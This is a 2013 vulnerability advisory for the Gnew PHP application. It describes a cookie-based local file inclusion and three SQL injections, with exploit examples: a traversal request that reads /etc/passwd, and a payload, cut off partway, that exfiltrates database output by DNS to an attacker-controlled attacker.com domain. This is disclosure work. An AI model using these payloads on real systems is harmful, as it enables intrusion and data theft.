Gnew 2013.1 – Multiple Vulnerabilities (2)

Advisory ID: HTB23171

Product: Gnew

Vendor: Raoul ProenÃ§a

Vulnerable Version(s): 2013.1 and probably prior

Tested Version: 2013.1

Advisory Publication: August 28, 2013 [without technical details]

Vendor Notification: August 28, 2013

Public Disclosure: October 2, 2013

Vulnerability Type: PHP File Inclusion [CWE-98], SQL Injection [CWE-89]

CVE References: CVE-2013-5639, CVE-2013-5640

Risk Level: High

CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)

Solution Status: Solution Available

Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Gnew, which can be exploited to execute arbitrary PHP code and pefrom SQL injection attacks against vulnerable application.

1) PHP File Inclusion in Gnew: CVE-2013-5639

Vulnerability exists due to insufficient validation of user-supplied input passed via the "gnew_language" cookie to "/users/login.php" script before using it in "include()" function. A remote attacker can include and execute arbitrary local files on a vulnerable system via directory traversal sequence and URL-encoded NULL byte.

The following exploitation example below displays content of the "/etc/passwd" file:

GET /users/login.php HTTP/1.1

Cookie: gnew_language=../../../etc/passwd%00;

2) SQL Injection in Gnew: CVE-2013-5640

2.1 The vulnerability exists due to insufficient filtration of "friend_email" HTTP POST parameter passed to "/news/send.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

The following exploitation example sends MySQL server version and database username to email address "attacker (at) mail (dot) com [email concealed]":

</form>

2.2 The vulnerability exists due to insufficient filtration of "user_email" HTTP POST parameter passed to "/users/register.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.

The exploitation example below outputs database username and MySQL server version into file "/var/www/file.txt". Successful exploitation requires that MySQL server has write access to the "/var/www" directory.

</form>

2.3 The vulnerability exists due to insufficient filtration of "answer_id" HTTP POST parameter passed to "/polls/vote.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database.

The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):

<input type="hidden" name="answer_id" value="' AND 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(

107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),